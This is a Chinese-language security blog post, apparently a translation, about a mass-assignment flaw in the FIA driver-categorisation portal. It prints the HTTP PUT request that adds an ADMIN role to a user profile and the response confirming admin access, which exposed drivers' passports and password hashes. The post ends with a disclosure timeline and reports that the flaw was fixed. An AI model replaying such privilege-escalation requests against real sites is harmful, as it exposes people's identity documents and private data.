入侵F1:通过FIA漏洞获取马克斯·维斯塔潘的护照和个人信息
引言
随着安全初创公司在过去几年中获得大量风险投资资金,一些最大的网络活动都围绕着F1大奖赛展开。像CrowdStrike和Darktrace这样的公司花费数百万美元赞助车队,而像Bitdefender这样的公司则与赛车队建立官方合作伙伴关系,成为其网络安全合作伙伴。
通过积累航空里程和与某些网络安全供应商建立关系,Gal Nagli、Sam Curry和我得以参加这些活动,我们认为尝试入侵F1活动的不同支持网站会很有趣。
这篇博客是关于在F1中发现漏洞系列文章的三篇之一。
寻找F1驾驶员执照
要在F1比赛中参赛,车手必须持有FIA超级驾照。该驾照每年通过车手的国家汽车运动管理机构(ASN)颁发,一旦他们满足FIA的要求,通常需要在小型比赛中花费数年时间获得超级驾照积分,同时满足最低年龄门槛和其他医疗/书面测试。
F1车手也经常在大奖赛之外参赛,FIA使用驾驶员分类(青铜/白银/黄金/白金)来平衡车队。该分类通过FIA门户网站drivercategorisation.fia.com进行管理,支持公众自助注册,供参赛者请求或更新其青铜/白银/黄金/白金状态,并提交结果供审核。该系统与超级驾照分开,但许多F1车手同时出现在两个系统中,并因持有有效的超级驾照而自动获得白金状态。
漏洞发现过程
初始发现
使用电子邮件和密码创建账户后,您将进入实际申请过程。通常,您需要上传许多支持文件以请求分类,包括身份证明文件和赛车简历/历史。然而,我们注意到有一个非常简单的HTTP PUT请求用于更新用户个人资料:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null
}
|
权限提升漏洞
更新个人资料的HTTP请求没有太多有趣的属性,但响应中返回的JSON包含许多额外的值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"keepNamePrivate": false,
"nickName2": null,
"birthDate": "2000-02-17",
"gender": null,
"token": null,
"roles": null,
"country": null,
"filters": [],
"status": "ACTIVATED",
"secondaryEmail": null
}
|
JSON HTTP响应包含"roles"参数,如果PUT请求容易受到大规模分配攻击,这可能允许我们提升权限。我们开始查看JavaScript中与此参数相关的任何逻辑。
权限提升攻击
根据JavaScript,网站上有许多不同的角色,供驾驶员、FIA工作人员和网站管理员使用。最明显有趣的是管理员角色,因此我们根据JavaScript猜测正确的HTTP PUT请求格式来尝试更新我们的角色:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"roles": [
{
"id": 1,
"description": "ADMIN role",
"name": "ADMIN"
}
]
}
|
我们的测试完全按预期工作。HTTP响应显示更新成功,我们现在拥有网站的管理员角色:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"keepNamePrivate": false,
"nickName2": null,
"birthDate": "1999-10-17",
"gender": null,
"token": null,
"roles": [
{
"id": 1,
"description": "ADMIN role",
"name": "ADMIN"
}
],
"country": null,
"filters": [],
"status": "ACTIVATED",
"secondaryEmail": null
}
|
漏洞影响
我们重新认证以刷新会话,登录后,显示了一个全新的仪表板,供FIA管理员用于分类驾驶员、管理员工和更新服务器端变量(如电子邮件模板等)。我们似乎对FIA驾驶员分类网站拥有完全的管理员访问权限。
为了验证我们的发现,我们尝试加载驾驶员的个人资料,并观察到用户的密码哈希、电子邮件地址、电话号码、护照、简历和所有相关的个人身份信息。此外,我们可以加载与驾驶员分类相关的所有内部通信,包括关于他们表现的评论和委员会相关决策。
在看到可以访问马克斯·维斯塔潘的护照、简历、执照、密码哈希和个人身份信息后,我们停止了测试。这些数据可以访问所有具有分类的F1车手,以及FIA内部操作的敏感信息。我们没有访问任何护照/敏感信息,所有数据已被删除。
披露时间线
- 2025年6月3日:通过电子邮件和LinkedIn向FIA初步披露
- 2025年6月3日:FIA初步回应,网站下线
- 2025年6月10日:FIA官方回应,告知全面修复
- 2025年10月22日:博客发布,公开披露